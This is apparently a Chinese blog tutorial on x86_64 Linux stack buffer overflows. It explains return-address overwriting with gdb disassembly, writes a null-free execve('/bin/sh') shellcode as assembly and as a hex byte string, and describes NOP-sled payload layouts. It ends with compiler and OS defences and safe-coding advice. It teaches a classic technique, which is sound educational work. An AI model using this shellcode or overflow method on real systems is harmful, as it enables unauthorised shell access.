0%

缓冲区溢出(栈溢出)

前言

在现在的网络攻击中,缓冲区溢出方式的攻击占据了很大一部分,缓冲区溢出是一种非常普遍的漏洞,但同时,它也是非常危险的一种漏洞,轻则导致系统宕机,重则可导致攻击者获取系统权限,进而盗取数据,为所欲为。

其实缓冲区攻击说来也简单,请看下面一段代码:

1
2
3
4
void main(int argc, char *argv[]) {
char buffer[8];
if(argc > 1) strcpy(buffer, argv[1]);
}

当我们在对argv[1]进行拷贝操作时,并没对其长度进行检查,这时候攻击者便可以通过拷贝一个长度大于8的字符串来覆盖程序的返回地址,让程序转而去执行攻击代码,进而使得系统被攻击。

本篇主要讲述缓冲区溢出攻击的基本原理,我会从程序是如何利用栈这种数据结构来进行运行的开始,试着编写一个shellcode,然后用该shellcode来溢出我们的程序来进行说明。我们所要使用的系统环境为x86_64 Linux,我们还要用到gcc(v7.4.0)、gdb(v8.1.0)等工具,另外,我们还需要一点汇编语言的基础,并且我们使用AT&T格式的汇编。

进程

在现代的操作系统中,进程是一个程序的运行实体,当在操作系统中运行一个程序时,操作系统会为我们的程序创建一个进程,并给我们的程序在内存中分配运行所需的空间,这些空间被称为进程空间。进程空间主要有三部分组成:代码段,数据段和栈段。如下图所示:

栈是一种后入先出的数据结构,在现代的大多数编程语言中,都使用栈这种数据结构来管理过程之间的调用。那什么又是过程之间的调用呢,说白了,一个函数或者一个方法便是一个过程,而在函数或方法内部调用另外的过程和方法便是过程间的调用。我们知道,程序的代码是被加载到内存中,然后一条条(这里指汇编)来执行的,而且时不时的需要调用其他的函数。当一个调用过程调用一个被调用过程时,所要执行的代码所在的内存地址是不同的,当被调用过程执行完后,又要回到调用过程继续执行。调用过程调用被调用过程时,需要使用call指令,并在call指令后指明要调用的地址,例如call 地址,当被调用过程返回时,使用ret指令来进行返回,但是并不需要指明返回的地址。那么程序是怎么知道我们要返回到什么地方呢?这主要是栈的功劳:执行call指令时,程序会自动的将call指令的下一条指令的地址加入到栈中,我们叫做返回地址。当程序返回时,程序从栈中取出返回地址,然后使程序跳转到返回地址处继续执行。

另外,程序在调用另一个过程时需要传递的参数,以及一个过程的局部变量(包括过程中开辟的缓冲区)都要分配在栈上。可见,栈是程序运行必不可少的一种机制。

但是,聪明的你可能一想:不对,既然程序的返回地址保存在栈上,过程的参数以及局部变量也保存在栈上,我们可以在程序中操纵参数和局部变量,那么我们是否也能操作返回地址,然后直接跳转到我们想要运行的代码处呢?答案当然是肯定的。

改变程序的返回地址

我们看这也一个程序。

1
2
3
4
5
6
7
8
9
10
11
12
13
example.c
void func() {
long *res;
res = &res + 2;
*res += 7;
}

void main() {
int x = 1;
func();
x = 0;
printf("%d\n", x);
}

我们在shell中使用如下命令编译运行一下,对于gcc编译时所用的参数,我先卖个关子。

1
2
$ `gcc -fno-stack-protector example.c -o example`
$ ./example

你或许会说:“哎呀呀,不用看了,这么简单,运行结果是0嘛”。但结果真的是这样嘛。其实,这个程序的运行结果是1。“什么,这怎么可能是1嘛,不得了不得了”

还记的我们提到的我们可以在程序中改变过程的返回地址吗?在func中,看似是对res进行了一些无意义的操作,但是这实际上是改变了func的返回地址,跳过了x = 0这条赋值命令。让我们从汇编的层面上看一下这个程序是如何执行的。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
$ gdb gdb example
GNU gdb (Ubuntu 8.1-0ubuntu3) 8.1.0.20180409-git
Copyright (C) 2018 Free Software Foundation, Inc.
...
gdb-peda$ disassemble func
Dump of assembler code for function func:
0x000000000000064a <+0>: push %rbp
0x000000000000064b <+1>: mov %rsp,%rbp
0x000000000000064e <+4>: lea -0x8(%rbp),%rax
0x0000000000000652 <+8>: add $0x10,%rax
0x0000000000000656 <+12>: mov %rax,-0x8(%rbp)
...
0x000000000000066e <+36>: retq
End of assembler dump.

在gdb中,我们使用disassemble func来查看一下func函数的汇编代码,在这里,程序栈上的情况是这样的,其中栈的宽度为8字节:

一看程序你也许会明白了,在4~12行(实际上这里的行应该是该条指令在该函数中第几个字节处,这里为了方便姑且就这样叫吧)程序取得res的地址,并将其地址加上0x10(即16),这对应程序的res = &res + 2;,此时res指向的便是返回地址所在的地址了,然后使用*res += 7来改变返回地址。至于为什么是加7而不是其他数,是因为我们的目的是跳过执行x = 0,而x = 0这条程序所占的字节数刚好为7个。我们使用disassemble main来查看一下main函数的汇编代码。

1
2
3
4
5
6
7
8
9
10
11
12
gdb-peda$ disassemble main 
Dump of assembler code for function main:
0x000000000000066f <+0>: push %rbp
0x0000000000000670 <+1>: mov %rsp,%rbp
0x0000000000000673 <+4>: sub $0x10,%rsp
0x0000000000000677 <+8>: movl $0x1,-0x4(%rbp)
0x000000000000067e <+15>: mov $0x0,%eax
0x0000000000000683 <+20>: callq 0x64a <func>
0x0000000000000688 <+25>: movl $0x0,-0x4(%rbp)
0x000000000000068f <+32>: mov -0x4(%rbp),%eax
...
End of assembler dump.

上面的汇编代码中,第25行便是x = 0这条程序的汇编指令,我们的目的是跳过它,也就是说我们要直接执行第32行处的代码,现在返回地址是指向第25行的(还记得前面说的返回地址是call指令下一条指令的地址吗),为了跳过它,我们给返回地址加7。

覆盖返回地址

现在,我们大概了解了如何修改返回地址让程序跳转到我们指定的地方执行,但是要攻击的程序可不是我们编写的啊,我们只是知道程序的某个地方有个缓冲区可以让我们往里面写数据,我们可没有办法改变程序的代码啊。这个时候,我们就要说一说关于缓冲区的拷贝这件事了。

还记的我们开头的程序吗?这里我们为了调试起来方便,我们给它加个输出。

1
2
3
4
5
6
test.c
void main(int argc, char *argv[]) {
char buffer[8];
if(argc > 1) strcpy(buffer, argv[1]);
printf("%s\n", buffer);
}

我们的程序在栈上的结构大概是下面这个样子。这里将我们的栈换了个样子

当程序对argv[1]进行拷贝操作时,依次将字符从低地址写向高地址。当argv[1]的长度小于8时,我们的缓冲区buffer空间足够,拷贝没有问题可以完成,但当我们的argv[1]的过长的话,长到将返回地址都覆盖了的话,main函数的返回地址就不知道返回到哪里去了。

让我们来试一下:

1
2
3
4
5
6
7
8
$ gcc -fo-stack-protector  -o test test.c
$ ./test hello
hello
$ ./test helloworld
helloworld
$ ./test helloworld123456789
helloworld123456789
Segmentation fault

可以看到当我们给定的参数为helloworld123456789,我们的程序出现了段错误,也即是这时候,我们的返回地址被破环了,导致main函数返回时出错。这时候的栈看起来是下面这个样子的:

对照前面的栈结构,发现main函数的返回地址的确被破坏了。若是我们往返回地址处覆盖一个我们想要执行的程序的地址,那是不是就可以执行我们的程序了呢?

shellcode

那么攻击时要执行什么程序呢?一般情况下,我们想通过缓冲区溢出来获取一个shell,一旦有了shell,我们就可以“为所欲为”了,因此我们也把这种程序叫做shellcode。那么这个shellcode在哪呢,可以确定的是,系统管理员是不会在系统中留一个shellcode的,也并不会告诉你:嘿,我这里有一个shellcode,地址是xxxx,你快把返回地址给覆盖了,来着里执行吧。所以,这个shellcode还需要我们自己编写,并传到要攻击的系统上。那要传递到哪呢?缓冲区不正是一个好地方嘛。

我们知道,在冯·诺伊曼架构的计算机中,数据和代码是不加以明确区分的,也就是说,内存中某个地方的东西,它既可以看作是一个程序的数据,也可以当作代码来执行。所以,我们大概有了一个攻击思路:我们将我们的shellcode放在缓冲区中,然后通过覆盖返回地址跳转到我们shellcode处,进而执行我们的shellcode

下面,我们来讨论如何编写一个shellcode

首先,我们为了得到一个shell,需要使用第59和60号系统调用,下面是他们的系统调用表,并以C语言的方式指明了他们的参数。

%rax system call %rdi %rsi %rdx
59 sys_execve const char *filename const char *const argv[] const char* const envp[]
60 sys_exit int error_code

他们分别对应C语言中的系统函数int execve(const char *filename, char *const argv[ ], char *const envp[ ]);exit(int error_code)execve()用于在一个进程中启动新的程序,它的第一个参数是指程序所在的路径,第二个参数是传递给程序的参数,数组指针argv必须以程序filename开头,NULL结尾,最后一个参数为传递程序的新环境变量。而exit()的参数指明它的退出代码。

下面这个C语言程序便可以获取一个shell,当在获取的shell中输入exit时便可退出shell,且退出代码为0。

1
2
3
4
5
6
7
8
9
#include <stdio.h>

void main() {
char *name[2];
name[0] = "/bin/sh";
name[1] = NULL;
execve(name[0], name, NULL);
exit(0);
}

现在,让我们从汇编的角度思考一下,该如何编写一个和上面这个程序功能相似的shellcode。

  1. 首先,我们需要一个字符串”/bin/sh”,并且需要知道它的确切地址
  2. 然后,我们需要将参数传递给相应的寄存器
  3. 最后,调用系统调用。

如何方便的获取到一个字符串的地址呢?一种方法是将字符串放到一个call指令的后面,这样,当这个call指令执行的时候,该字符串的首地址便被加入到栈中。 好了,我不再绕弯子了,下面给出一个shellcode

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
jmp mycall
func: pop %rbx
mov %rbx, 0x8(%rsp)
movb $0x0, 0x7(%rsp)
movl $0x0, 0x10(%rsp)
mov $59, %rax
mov %rbx, %rdi
lea 0x8(%rsp), %rsi
lea 0x10(%rsp), %rdx
syscall
mov $60, %rax
mov $0, %rdi
syscall
mycall: call func
.string \"/bin/sh\"

现在,我们依次看一下每一条指令的意思。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
1.  jmp mycall

当shellcode执行时,会先执行这一条,这会使我们的程序跳转到第14行的call指令处

2. func: pop %rbx

我们从栈中获取返回地址,这也是字符串所在的地址

3. mov %rbx, 0x8(%rsp)
4. movb $0x0, 0x7(%rsp)
5. movl $0x0, 0x10(%rsp)

尽管我们有了字符串的地址,但是我们并没有第二个参数和第三个参数所在的地址,所以程序在栈上构造出第二个和第三个参数

6. mov $59, %rax
7. mov %rbx, %rdi
8. lea 0x8(%rsp), %rsi
9. lea 0x10(%rsp), %rdx

我们将参数传递给指定的寄存器

10. syscall

使用syscall指令进行系统调用,这在x86 Linux中为int 0x80

11. mov $60, %rax
12. mov $0, %rdi
13. syscall

为了使我们的shellcode在退出shell后正常退出,需要调用下exit系统调用,退出代码为0

14. mycall: call func

15. .string \"/bin/sh\"

它们的执行流程如下图所示:

现在,我们有了shellcode,我们先用C语言内联汇编的方式测试一下它是否能运行。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
shellcode_test.c
void main() {
__asm__(
"jmp mycall\n\t"
"func: pop %rbx\n\t"
"mov %rbx, 0x8(%rsp)\n\t"
"movb $0x0, 0x7(%rsp)\n\t"
"movl $0x0, 0x10(%rsp)\n\t"
"mov $59, %rax\n\t"
"mov %rbx, %rdi\n\t"
"lea 0x8(%rsp), %rsi\n\t"
"lea 0x10(%rsp), %rdx\n\t"
"syscall\n\t"
"mov $60, %rax\n\t"
"mov $0, %rdi\n\t"
"syscall\n\t"
"mycall: call func\n\t"
".string \"/bin/sh\""
);
}

试着编译运行一下:

1
2
3
4
5
$ gcc shellcode_test.c -o shellcode_test
$ ./shellcode_test
sh-4.4# exit
exit
$

Wow,我们的shellcode完全可行,但是现在还并没有结束。众所周知,程序在内存中都是以二进制的形式保存的,我们的程序也不例外,因为我们需要将我们的shellcode传递到缓冲区中去,如果直接传递代码,那显然是不行的,我们要传递的应该是编译生成的二进制才对,这样在目标机器上直接就可以执行。现在,我们使用gdb将我们的程序转换为二进制(确切的说应该是16进制,不过都一样嘛)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
$ gdb gdb shellcode_test
....
gdb-peda$ disassemble main
Dump of assembler code for function main:
0x00000000000005fa <+0>: push %rbp
0x00000000000005fb <+1>: mov %rsp,%rbp
0x00000000000005fe <+4>: jmp 0x639 <main+63>
0x0000000000000600 <+6>: pop %rbx
0x0000000000000601 <+7>: mov %rbx,0x8(%rsp)
0x0000000000000606 <+12>: movb $0x0,0x7(%rsp)
0x000000000000060b <+17>: movl $0x0,0x10(%rsp)
0x0000000000000613 <+25>: mov $0x3b,%rax
0x000000000000061a <+32>: mov %rbx,%rdi
0x000000000000061d <+35>: lea 0x8(%rsp),%rsi
0x0000000000000622 <+40>: lea 0x10(%rsp),%rdx
0x0000000000000627 <+45>: syscall
0x0000000000000629 <+47>: mov $0x3c,%rax
0x0000000000000630 <+54>: mov $0x0,%rdi
0x0000000000000637 <+61>: syscall
0x0000000000000639 <+63>: callq 0x600 <main+6>
0x000000000000063e <+68>: (bad)
0x000000000000063f <+69>: (bad)
0x0000000000000640 <+70>: imul $0x90006873,0x2f(%rsi),%ebp
0x0000000000000647 <+77>: pop %rbp
0x0000000000000648 <+78>: retq
End of assembler dump.
gdb-peda$ x /64xb main+4
0x5fe <main+4>: 0xeb 0x39 0x5b 0x48 0x89 0x5c 0x24 0x08
0x606 <main+12>: 0xc6 0x44 0x24 0x07 0x00 0xc7 0x44 0x24
0x60e <main+20>: 0x10 0x00 0x00 0x00 0x00 0x48 0xc7 0xc0
0x616 <main+28>: 0x3b 0x00 0x00 0x00 0x48 0x89 0xdf 0x48
0x61e <main+36>: 0x8d 0x74 0x24 0x08 0x48 0x8d 0x54 0x24
0x626 <main+44>: 0x10 0x0f 0x05 0x48 0xc7 0xc0 0x3c 0x00
0x62e <main+52>: 0x00 0x00 0x48 0xc7 0xc7 0x00 0x00 0x00
0x636 <main+60>: 0x00 0x0f 0x05 0xe8 0xc2 0xff 0xff 0xff

可以看到,除了字符串以外,我们的程序是从第4行到第63行,由于字符串在内存中保存的是ascii码,这里也就不需要获取其二进制了。

好了,现在我们已经有了shellcode的二进制了,但是还有一个问题。可以看到,我们的程序中有0x00这种数据,由于我们的shellcode作为字符串传递到缓冲区中的,这代表的恰恰也是字符串的结束,也就是说,当我们的字符串往缓冲区拷贝的时候,当遇到0x00时,无论我们的shellcode有没有拷贝完,都会停止拷贝。我们可不想我们费尽千辛万苦写出的shellcode竟然只被拷贝的残缺不全。下面,我们改进一下我们的程序。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
shellcode_test1.c
void main() {
__asm__(
"jmp mycall\n\t"
"func: pop %rbx\n\t"
"mov %rbx, 0x8(%rsp)\n\t"
"xor %rax, %rax\n\t"
"movb %al, 0x7(%rsp)\n\t"
"movl %eax, 0x10(%rsp)\n\t"
"movb $0x3b, %al\n\t"
"mov %rbx, %rdi\n\t"
"lea 0x8(%rsp), %rsi\n\t"
"lea 0x10(%rsp), %rdx\n\t"
"syscall\n\t"
"xor %rdi, %rdi\n\t"
"xor %rax, %rax\n\t"
"movb $60, %al\n\t"
"syscall\n\t"
"mycall: call func\n\t"
".string \"/bin/sh\""
);
}

对照shellcode_test.c,我们只是改变了一些赋值操作。让我们看一下效果。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
$ gcc shellcode_test1.c -o shellcode_test1
$ gdb shellcode_test1
...
gdb-peda$ disassemble main
Dump of assembler code for function main:
0x00000000000005fa <+0>: push %rbp
0x00000000000005fb <+1>: mov %rsp,%rbp
0x00000000000005fe <+4>: jmp 0x62c <main+50>
0x0000000000000600 <+6>: pop %rbx
0x0000000000000601 <+7>: mov %rbx,0x8(%rsp)
0x0000000000000606 <+12>: xor %rax,%rax
0x0000000000000609 <+15>: mov %al,0x7(%rsp)
0x000000000000060d <+19>: mov %eax,0x10(%rsp)
0x0000000000000611 <+23>: mov $0x3b,%al
0x0000000000000613 <+25>: mov %rbx,%rdi
0x0000000000000616 <+28>: lea 0x8(%rsp),%rsi
0x000000000000061b <+33>: lea 0x10(%rsp),%rdx
0x0000000000000620 <+38>: syscall
0x0000000000000622 <+40>: xor %rdi,%rdi
0x0000000000000625 <+43>: xor %rax,%rax
0x0000000000000628 <+46>: mov $0x3c,%al
0x000000000000062a <+48>: syscall
0x000000000000062c <+50>: callq 0x600 <main+6>
0x0000000000000631 <+55>: (bad)
0x0000000000000632 <+56>: (bad)
0x0000000000000633 <+57>: imul $0x90006873,0x2f(%rsi),%ebp
0x000000000000063a <+64>: pop %rbp
0x000000000000063b <+65>: retq
End of assembler dump.
gdb-peda$ x /51xb main+4
0x5fe <main+4>: 0xeb 0x2c 0x5b 0x48 0x89 0x5c 0x24 0x08
0x606 <main+12>: 0x48 0x31 0xc0 0x88 0x44 0x24 0x07 0x89
0x60e <main+20>: 0x44 0x24 0x10 0xb0 0x3b 0x48 0x89 0xdf
0x616 <main+28>: 0x48 0x8d 0x74 0x24 0x08 0x48 0x8d 0x54
0x61e <main+36>: 0x24 0x10 0x0f 0x05 0x48 0x31 0xff 0x48
0x626 <main+44>: 0x31 0xc0 0xb0 0x3c 0x0f 0x05 0xe8 0xcf
0x62e <main+52>: 0xff 0xff 0xff

现在,我们的shellcode中已经没有0x00了,并且还变短了呢。

现在,我们试一试这个shellcode作为字符串能否运行。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
shellcode.c
#include<stdio.h>
#include<string.h>

char shellcode[] = "\xeb\x2c\x5b\x48\x89\x5c\x24\x08\x48\x31\xc0\x88\x44\x24\x07\x89\x44\x24"
"\x10\xb0\x3b\x48\x89\xdf\x48\x8d\x74\x24\x08\x48\x8d\x54\x24\x10\x0f\x05"
"\x48\x31\xff\x48\x31\xc0\xb0\x3c\x0f\x05\xe8\xcf\xff\xff\xff/bin/sh";

void test() {
long *ret;
ret = (long *)&ret + 2;
(*ret) = (long)shellcode;
}

void main() {
test();
}
1
2
3
4
5
$ gcc -z execstack -fno-stack-protector -o shellcode shellcode.c
$ ./shellcode
sh-4.4# exit
exit
$

哈,完全可以运行。

使用shellcode

现在,我们已经有了shellcode,我们在前面也提供了一种攻击思路,但是最终的困难却在于我们该如何利用缓冲区溢出来修改返回地址,说实话,到现在为止,博主并没有找到一个优雅的、简单的修改返回地址的方法。在我所看的一些文章中,唯一的方法就是“试”,这当然还需要靠点运气,更何况现在操作系统一般采用栈随机化,并不好“试”。

一种比较好的方法是在shellcode前面加上许多nop指令,并在后面加上许多要覆盖的返回地址。由于nop代表空指令,且只占一个字节,不管我们的返回地址返回到shellcode前面的任何一个nop,程序都会执行到shellcode所在的地方,而不必非要返回到shellcode的开头处,这会大大增加shellcode被执行的机率。

但是,这对一些比较小的缓冲区却并不是很适用,因为比较小的缓冲区并不能有太多了nop或者太长的shellcode,否则返回地址直接被shellcode或者甚至被nop给覆盖了,在别处看到的是,解决这类小缓冲区的方法也很简单,我们把返回地址放在前面,nop放在中间,shellcode放在最后面,就像这样:

这样理论上,nop可以很多,执行shellcode的机会也会大大增加。

防范

现代编译器已经加入了许多防范缓冲区溢出的机制,例如缓冲区溢出检查(还记的我前面卖的关子吗?我们使用了gcc的-fno-stack-protector参数,就是让编译器不要加入这种机制,以免干扰我们的实验。)、禁止栈内执行代码(shellcode.c编译时所用的-z execstack,该参数是允许栈内代码执行)。缓冲区溢出检查是指在栈上的局部变量分配之前,先分配一些空间保存某个数,当在程序返回之前,先检查这个数有没有被改变,若被改变了,则立即触发中断,防止去执行shellcode。另外,现代操作系统也加入了许多措施来阻止缓冲区溢出,比如栈的随机化(这又大大降低了我们“猜”中返回地址的机率)。

但是,尽管操作系统和编译器都加入了如此多的机制来防范缓冲区溢出,但是,攻击者总还是有种种办法绕过这些机制,所以,要从根本上杜绝缓冲区溢出,还是要从我们写程序入手,在对缓冲区操作前,一定要对其操作的范围进行限制,不要使用那些危险的函数,比如gets、不限制长度的strcpy等等。

小结

程序依靠栈来执行,并将局部变量分配在栈上,call指令也将返回地址放在栈上,这是可以进行缓冲区溢出的前提。

缓冲区溢出是通过覆盖返回地址,进而去执行攻击程序(shellcode)来实现的。

shellcode编写完成后要转换为二进制(16进制)数据,且不得出现0x00,这代表了字符串的结束

防范缓冲区溢出要使用正确的编译选项,更重要的是正确的编写程序。